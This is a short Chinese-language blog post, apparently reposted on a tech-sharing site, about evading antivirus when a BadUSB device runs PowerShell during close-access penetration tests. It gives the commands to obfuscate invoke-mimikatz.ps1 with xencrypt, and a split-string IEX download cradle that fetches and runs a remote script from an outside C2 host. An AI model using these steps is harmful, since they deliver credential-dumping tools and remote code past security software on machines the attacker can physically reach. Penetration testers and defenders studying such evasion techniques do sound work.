标签：近源 xencrypt 免杀 IEX 渗透 payload ps1 powershell
近源渗透测试badusb执行代码的免杀
在进行近源渗透测试的时候，我们发现国内杀软对powershell的管制非常的严格，只要有后台隐藏执行的powershell都会触发可疑行为警报，但是这不代表不能绕过。
生成powershell payload
如图生成payload，我们使用powershell的payload，就不用勾选64位了
powershell混淆
接下来做混淆，否则ps脚本下载下来也是被杀软秒杀的，可以使用InvokeObfuscation或者xencrypt。
我这里使用的是xencrypt
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 68
可以选择免杀68次
https://github.com/the-xentropy/xencrypt
badusb运行脚本拆分免杀
由于免杀后的脚本会很大，所以我们可以用powershell IEX(New-Object Net.WebClient).DownloadString("http://x.x.x.x/2.ps1")从服务器下载ps脚本运行，但是会被杀软杀，所以可以用拆分免杀。
powershell.exe ”$a1='IEX ((new-objectnet.webclient).downl';$a2='oadstring(''http://c2.mtfly.net/2.ps1''))';$a3="$a1,$a2";IEX(-join $a3)""
标签：近源,xencrypt,免杀,IEX,渗透,payload,ps1,powershell 来源： https://www.cnblogs.com/w0x68y/p/12707468.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。